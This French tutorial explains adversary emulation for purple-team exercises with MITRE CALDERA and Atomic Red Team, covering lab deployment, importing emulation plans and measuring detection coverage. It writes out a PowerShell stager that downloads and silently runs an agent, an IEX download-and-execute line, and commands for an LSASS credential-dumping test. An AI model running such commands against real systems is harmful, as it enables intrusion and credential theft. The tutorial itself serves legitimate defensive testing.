L'adversary emulation est la pratique de reproduire fidèlement les techniques, tactiques et procédures (TTP) d'un acteur adversaire réel documenté, à des fins de test de la détection et de la réponse défensive. Elle se distingue du pentest classique (humain, créatif, sur scope) et de la simulation générique (scénario non rattaché à un acteur spécifique) par sa fidélité aux profils ATT&CK d'acteurs documentés (APT29, FIN7, Sandworm, Lazarus). En 2026, les deux frameworks open source dominants sont MITRE CALDERA (orchestration multi-techniques avec agents et opérations end-to-end) et Atomic Red Team de Red Canary (tests atomiques unitaires par technique). Ils sont complémentaires : Atomic Red Team pour validation rapide d'une détection isolée, CALDERA pour campagnes purple team complètes simulant un acteur sur plusieurs heures ou jours. La MITRE Adversary Emulation Library publie des plans clé en main pour les principaux acteurs (APT3, APT29, FIN6, FIN7, menuPass, Sandworm, Wizard Spider, OilRig). Cet article détaille l'architecture CALDERA (server, agents Sandcat / Manx / Ragdoll, abilities, adversaries, plans, operations), le déploiement step-by-step en lab, l'intégration avec Atomic Red Team, le workflow type d'une campagne purple team trimestrielle, la mesure de coverage défensif, les ressources MITRE ATT&CK Evaluations et les pièges opérationnels.
Adversary emulation vs simulation vs red team
Trois pratiques distinctes souvent confondues. Le sweet spot purple team est l'adversary emulation reproductible.
| Pratique | Définition | Force | Limite |
|---|---|---|---|
| Pentest classique | Humain créatif, scope défini, exploitation profonde | Découverte vulnérabilités complexes, chaining inattendu | Ponctuel, non reproductible, scope restreint |
| Red team | Humain motivé simulant attaquant sans restriction | Test résistance face à attaquant motivé, ingénierie sociale | Coûteux (50 à 200 k€), 1-2 fois par an max |
| Adversary simulation | Scénario générique scripté (par exemple : ransomware générique) | Reproductible, automatisable | Pas rattaché à un acteur réel, peut manquer la pertinence |
| Adversary emulation | Reproduction fidèle TTP d'un acteur documenté | Reproductible, mesurable, aligné CTI réelle | Limité aux TTP documentés (pas de zero-day) |
Adversary emulation est le pivot du purple teaming moderne : reproductible (peut être ré-exécuté à chaque release), mesurable (chaque technique = un test), alignée sur la threat intel réelle (priorise les acteurs plausibles pour l'organisation), et complémentaire du pentest annuel (validation continue entre pentests).
Architecture de CALDERA
CALDERA (Cyber Adversary Language and Decision Engine for Red team Automation) est un framework open source de MITRE Center for Threat-Informed Defense, développé en Python avec interface web. Repo : github.com/mitre/caldera. Version stable 2026 : 5.x.
Composants principaux
| Composant | Rôle |
|---|---|
| Server CALDERA | Orchestrateur central, interface web, base de données, planning |
| Agents | Implants déployés sur les endpoints cibles |
| Abilities | Techniques individuelles exécutables, mappées ATT&CK |
| Adversaries | Collections d'abilities ordonnées simulant un acteur |
| Operations | Exécutions concrètes d'un adversary sur agents |
| Plugins | Extensions (Atomic Red Team integration, Caldera-specific) |
| Facts | Variables découvertes (IPs, users, hosts) utilisables dans abilities suivantes |
Agents disponibles
- Sandcat : agent Go, multi-platform (Windows, Linux, macOS), le plus utilisé. HTTP/HTTPS callback.
- Manx : agent reverse shell TCP, plus simple.
- Ragdoll : agent Python pour environnements Linux/macOS sans Go.
- GIST : agent legacy historique.
Sandcat est le choix par défaut en 2026 pour la majorité des déploiements.
Flow d'exécution typique
1. Server CALDERA démarre, attend les agents
2. Agent Sandcat est déployé sur endpoint cible
3. Agent enregistre auprès du server (callback initial)
4. Operator définit une operation : choix d'adversary + groupe d'agents
5. Server pousse les abilities séquentiellement aux agents
6. Chaque agent exécute la commande, retourne stdout/stderr
7. Server évalue le résultat, extrait facts (IPs, users découverts)
8. Server pousse l'ability suivante avec contexte mis à jour
9. À la fin de l'operation : rapport ATT&CK avec techniques exécutéesDéploiement step-by-step
Étape 1 — Server CALDERA
# Lab ou environnement isolé. Ne JAMAIS déployer en production.
# Ubuntu 22.04 LTS recommandé, 4 vCPU 8 Go RAM minimum
# Installation des prérequis
sudo apt update
sudo apt install -y python3.11 python3.11-venv git npm
# Clonage et setup
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
python3.11 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# Configuration via conf/local.yml
cp conf/default.yml conf/local.yml
# Démarrage
python3 server.py --insecure --build
# Interface accessible sur http://localhost:8888
# Login: red / Password: défini dans conf/local.ymlÉtape 2 — Sécuriser le déploiement (recommandé)
# conf/local.yml — configuration durcie
host: 0.0.0.0
port: 8888
users:
red:
red: "$2b$12$..." # bcrypt hash, généré avec scripts/hash.py
blue:
blue: "$2b$12$..."
api_key_red: "<generate via openssl rand -hex 32>"
api_key_blue: "<generate via openssl rand -hex 32>"
# Reverse proxy nginx + TLS Let's Encrypt en frontage recommandé pour production labÉtape 3 — Déployer un agent Sandcat sur cible Windows
Depuis l'interface CALDERA, section "Agents" → "Deploy an agent" → choisir Sandcat → choisir target platform Windows → choisir HTTP listener → générer commande.
# Exemple commande générée par CALDERA pour Windows
$server="http://10.0.0.5:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$output="C:\Windows\Temp\sandcat.exe";
$wc.DownloadFile($url,$output);
Start-Process -FilePath $output -ArgumentList "-server $server" -WindowStyle hidden;Exécution de cette commande dans une session admin sur l'endpoint Windows lab → l'agent apparaît dans la console CALDERA.
Étape 4 — Première operation
- Section "Operations" → "Create new operation".
- Adversary : choisir un adversary built-in (par exemple "Discovery" pour démarrer simple) ou importer depuis Adversary Emulation Library.
- Groupe d'agents : sélectionner les agents cibles disponibles.
- Planner : "atomic" (séquentiel simple) pour démarrer.
- Cleanup : "Yes" pour que CALDERA nettoie les artefacts à la fin.
- Lancer l'operation. Observer les abilities s'exécuter en temps réel.
Étape 5 — Analyse du rapport
À la fin de l'operation, CALDERA génère :
- Liste des abilities exécutées : succès, échec, output.
- Facts découverts : IPs, users, fichiers identifiés.
- Rapport ATT&CK : techniques couvertes mappées sur la matrice.
- Export JSON : pour intégration externe (Navigator layer, SIEM).
# Export du rapport ATT&CK Navigator format
curl -H "KEY: <api_key>" \
"http://10.0.0.5:8888/api/v2/operations/<operation_id>/report/attack-navigator" \
-o operation-report.jsonImporter cette layer dans Navigator pour visualiser la couverture exécutée vs détection.
Importer un plan d'émulation MITRE
L'usage le plus puissant de CALDERA : exécuter des plans d'émulation officiels MITRE.
Étape 1 — Récupérer le plan
# Adversary Emulation Library
git clone https://github.com/center-for-threat-informed-defense/adversary_emulation_library.git
cd adversary_emulation_library/apt29
# Structure type d'un plan
# - Intelligence_Summary.md : profil acteur
# - Operations_Flow.md : ordre des actions
# - Emulation_Plan/Scenario_1/Infrastructure/ : setup C2
# - Emulation_Plan/Scenario_1/CALDERA/ : adversary YAML pour CALDERAÉtape 2 — Importer dans CALDERA
# Copier le plan d'adversaire
cp adversary_emulation_library/apt29/Emulation_Plan/Scenario_1/CALDERA/apt29-1.yml \
caldera/data/adversaries/
# Restart CALDERA, l'adversaire APT29 Scenario 1 apparaît dans la listeÉtape 3 — Adapter au lab
Les plans MITRE supposent un environnement type avec joueurs spécifiques (par exemple un Active Directory complet). Adapter :
- Variables (IPs, users, hosts) dans le plan YAML pour matcher votre lab.
- Désactiver les abilities qui requièrent infrastructure non disponible (par exemple C2 externe).
- Ajouter des sleeps entre abilities pour simuler la temporalité réaliste de l'attaquant.
Intégration avec Atomic Red Team
Atomic Red Team (Red Canary, github.com/redcanaryco/atomic-red-team) est complémentaire à CALDERA. Plus de 1 000 tests atomiques, un test = une technique ATT&CK = une ou quelques commandes simples.
Plugin Atomic Red Team pour CALDERA
CALDERA inclut le plugin atomic qui ingère automatiquement les tests Atomic Red Team comme abilities natives. Activé par défaut dans la version 5.x.
Différence d'usage
| Cas d'usage | Outil recommandé |
|---|---|
| Test rapide d'une seule détection (5 min) | Atomic Red Team CLI |
| Validation continue par tests unitaires en CI | Atomic Red Team scripted |
| Campagne d'émulation multi-techniques (heures à jours) | CALDERA |
| Suivi temporel d'une attaque réaliste | CALDERA avec sleep configurés |
| Émulation alignée plan MITRE officiel | CALDERA + Adversary Emulation Library |
Exemple Atomic Red Team standalone
# Installation Invoke-AtomicRedTeam (Windows)
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);
Install-AtomicRedTeam -getAtomics
# Liste des tests pour T1003.001 (LSASS Memory)
Invoke-AtomicTest T1003.001 -ShowDetails
# Exécution d'un test spécifique
Invoke-AtomicTest T1003.001 -TestNumbers 1
# Cleanup post-test
Invoke-AtomicTest T1003.001 -TestNumbers 1 -CleanupWorkflow purple team trimestriel
Pattern d'utilisation observé dans les SOC matures 2026.
Phase 1 — Préparation (semaine 1)
- Sélectionner les adversaires à émuler ce trimestre (top 1 à 3 selon CTI prioritaire).
- Importer les plans d'émulation correspondants.
- Vérifier l'état du lab et des agents déployés sur les cibles.
- Aligner avec l'équipe blue team (SOC) sur la fenêtre d'exécution.
Phase 2 — Exécution (semaines 2-3)
- Lancer les operations CALDERA selon les plans.
- En parallèle, l'équipe SOC traite les alertes générées comme s'il s'agissait d'incidents réels (ils savent qu'un purple team est actif mais pas le plan détaillé).
- Documenter en temps réel les détections (true positives, false negatives, faux positifs).
Phase 3 — Analyse (semaine 4)
- Comparer les techniques exécutées par CALDERA aux alertes générées par le SOC.
- Identifier les gaps de détection (techniques non détectées).
- Calculer le MTTD (Mean Time to Detect) par technique.
- Évaluer la qualité de la réponse SOC (containment, escalade).
Phase 4 — Amélioration (mois 2-3 du trimestre suivant)
- Création de nouvelles règles Sigma pour les gaps identifiés.
- Tuning des règles existantes qui ont généré false positives ou false negatives.
- Mise à jour de la layer Navigator de couverture défensive.
- Ré-test pour valider les améliorations.
Phase 5 — Communication
- Rapport synthétique au CISO : score de couverture par technique, évolution depuis trimestre précédent, gaps prioritaires.
- Présentation à l'équipe SOC : feedback constructif, valorisation des réussites, alignement sur axes d'amélioration.
ATT&CK Evaluations : benchmark vendor
MITRE Engenuity opère depuis 2018 le programme ATT&CK Evaluations qui teste les solutions EDR/XDR commerciales contre des plans d'émulation d'acteurs réels.
Méthodologie
- MITRE émule un acteur (par exemple APT29 dans le round 2020) sur un environnement lab.
- Chaque vendor participant (CrowdStrike, SentinelOne, Microsoft, Palo Alto, Cybereason, etc.) déploie sa solution dans le même environnement.
- MITRE exécute les techniques et mesure la détection vendor par vendor.
- Résultats publiés publiquement avec détail technique par technique.
Rounds historiques
| Round | Année | Acteur émulé |
|---|---|---|
| 1 | 2018 | APT3 |
| 2 | 2019 | APT29 |
| 3 | 2020 | Carbanak + FIN7 |
| 4 | 2022 | Wizard Spider + Sandworm |
| 5 | 2023 | Turla |
| 6 | 2024 | menuPass + ALPHV BlackCat |
| 7 (Mac/Linux) | 2024-2025 | Lazarus + Cl0p (Linux/macOS) |
Comment utiliser les résultats
Pour évaluer un EDR vendor avant achat : consulter attackevals.mitre.org et étudier le détail technique par technique. Méfiance avec les marketing claims des vendors qui peuvent surinterpréter leurs résultats. Le résultat brut MITRE est plus fiable que les communiqués de presse vendors.
Risques et précautions
L'adversary emulation exécute des techniques offensives réelles. Les risques sont concrets.
Exécution accidentelle en production. Une mauvaise configuration de CALDERA (mauvais agent ciblé, mauvais réseau) peut déclencher une vraie attaque sur un système production. Toujours valider l'isolation réseau, les hostnames cibles, la configuration des agents avant lancement.
Déclenchement d'incident SOC réel. Une opération CALDERA non communiquée à l'équipe SOC déclenchera un incident SOC complet. Coordination obligatoire : annonce préalable au SOC manager (sans détail du plan), fenêtre d'exécution fixée, code de communication pour distinguer purple team d'incident réel.
Persistance non nettoyée. Si l'option cleanup CALDERA échoue, des artefacts (fichiers, processus, registre, comptes) peuvent persister sur les endpoints. Vérifier post-operation que les hosts sont propres.
Compromission du server CALDERA. Le server CALDERA est une cible attractive : si compromis, donne accès à des outils d'attaque packagés. Hardening server obligatoire (TLS, RBAC, isolation réseau, monitoring), ne jamais exposer Internet.
Fuite d'IOCs et de techniques propriétaires. Les plans d'émulation contiennent souvent des IOCs et techniques sensibles. Ne pas commit dans un repo public.
Limites et compléments
Adversary emulation a des limites par construction. Compléments à connaître.
| Limite | Compensation |
|---|---|
| Limité aux TTP documentés | Pentest manuel pour techniques non documentées, zero-days |
| Pas d'ingénierie sociale | Phishing simulé via outils dédiés (KnowBe4, Cofense) |
| Pas de business logic abuse | Bug bounty et code review |
| Pas d'attaques physique | Red team physique distinct |
| Évalue détection, pas prévention | Combiner avec audits de configuration |
| Lab vs production | Validation finale par red team conditions réelles |
Points clés à retenir
- L'adversary emulation reproduit fidèlement les TTP d'un acteur réel documenté, distincte du pentest classique (humain créatif) et de la simulation générique. Sweet spot du purple teaming reproductible et mesurable.
- CALDERA (MITRE) est le framework open source de référence pour orchestrer des opérations multi-techniques avec agents Sandcat. Atomic Red Team (Red Canary) complète avec tests atomiques unitaires rapides.
- La MITRE Adversary Emulation Library publie des plans clé en main pour les principaux acteurs (APT3, APT29, FIN6, FIN7, Sandworm, menuPass, OilRig, Wizard Spider).
- Workflow purple team trimestriel type : préparation, exécution, analyse, amélioration, communication. La règle d'or : aucun "gotcha", collaboration constructive entre red et blue.
- Adversary emulation mesure la détection et la réponse, pas la prévention. Combiner avec pentest annuel, bug bounty, simulation phishing pour couverture complète.
Pour aller plus loin
- MITRE ATT&CK expliqué - framework de référence sur lequel s'appuie l'émulation.
- MITRE ATT&CK Navigator : guide pratique - visualiser les résultats d'émulation sur la matrice.
- Les niveaux 1, 2, 3 dans un SOC - structure SOC qui collabore au purple team.
- Détection d'intrusion : les bases - fondamentaux qu'évaluent les opérations CALDERA.





